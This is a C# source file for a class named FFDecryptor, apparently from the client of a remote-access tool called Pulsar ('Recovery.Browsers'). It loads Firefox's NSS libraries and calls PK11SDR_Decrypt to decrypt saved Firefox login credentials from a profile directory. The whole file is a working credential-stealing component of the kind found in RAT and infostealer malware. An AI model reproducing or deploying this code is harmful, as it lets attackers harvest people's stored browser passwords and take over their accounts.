using Pulsar.Client.Utilities; using System; using System.IO; using System.Runtime.InteropServices; using System.Text; namespace Pulsar.Client.Recovery.Browsers { /// /// Provides methods to decrypt Firefox credentials. /// public class FFDecryptor : IDisposable { [UnmanagedFunctionPointer(CallingConvention.Cdecl)] public delegate long NssInit(string configDirectory); [UnmanagedFunctionPointer(CallingConvention.Cdecl)] public delegate long NssShutdown(); [UnmanagedFunctionPointer(CallingConvention.Cdecl)] public delegate int Pk11sdrDecrypt(ref TSECItem data, ref TSECItem result, int cx); private NssInit NSS_Init; private NssShutdown NSS_Shutdown; private Pk11sdrDecrypt PK11SDR_Decrypt; private IntPtr NSS3; private IntPtr Mozglue; public long Init(string configDirectory) { string mozillaPath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles), @"Mozilla Firefox\"); Mozglue = NativeMethods.LoadLibrary(Path.Combine(mozillaPath, "mozglue.dll")); NSS3 = NativeMethods.LoadLibrary(Path.Combine(mozillaPath, "nss3.dll")); IntPtr initProc = NativeMethods.GetProcAddress(NSS3, "NSS_Init"); IntPtr shutdownProc = NativeMethods.GetProcAddress(NSS3, "NSS_Shutdown"); IntPtr decryptProc = NativeMethods.GetProcAddress(NSS3, "PK11SDR_Decrypt"); NSS_Init = (NssInit)Marshal.GetDelegateForFunctionPointer(initProc, typeof(NssInit)); PK11SDR_Decrypt = (Pk11sdrDecrypt)Marshal.GetDelegateForFunctionPointer(decryptProc, typeof(Pk11sdrDecrypt)); NSS_Shutdown = (NssShutdown)Marshal.GetDelegateForFunctionPointer(shutdownProc, typeof(NssShutdown)); return NSS_Init(configDirectory); } public string Decrypt(string cypherText) { IntPtr ffDataUnmanagedPointer = IntPtr.Zero; StringBuilder sb = new StringBuilder(cypherText); try { byte[] ffData = Convert.FromBase64String(cypherText); ffDataUnmanagedPointer = Marshal.AllocHGlobal(ffData.Length); Marshal.Copy(ffData, 0, ffDataUnmanagedPointer, ffData.Length); TSECItem tSecDec = new TSECItem(); TSECItem item = new TSECItem(); item.SECItemType = 0; item.SECItemData = ffDataUnmanagedPointer; item.SECItemLen = ffData.Length; if (PK11SDR_Decrypt(ref item, ref tSecDec, 0) == 0) { if (tSecDec.SECItemLen != 0) { byte[] bvRet = new byte[tSecDec.SECItemLen]; Marshal.Copy(tSecDec.SECItemData, bvRet, 0, tSecDec.SECItemLen); return Encoding.ASCII.GetString(bvRet); } } } catch (Exception) { return null; } finally { if (ffDataUnmanagedPointer != IntPtr.Zero) { Marshal.FreeHGlobal(ffDataUnmanagedPointer); } } return null; } [StructLayout(LayoutKind.Sequential)] public struct TSECItem { public int SECItemType; public IntPtr SECItemData; public int SECItemLen; } /// /// Disposes all managed and unmanaged resources associated with this class. /// public void Dispose() { Dispose(true); GC.SuppressFinalize(this); } protected virtual void Dispose(bool disposing) { if (disposing) { NSS_Shutdown(); NativeMethods.FreeLibrary(NSS3); NativeMethods.FreeLibrary(Mozglue); } } } }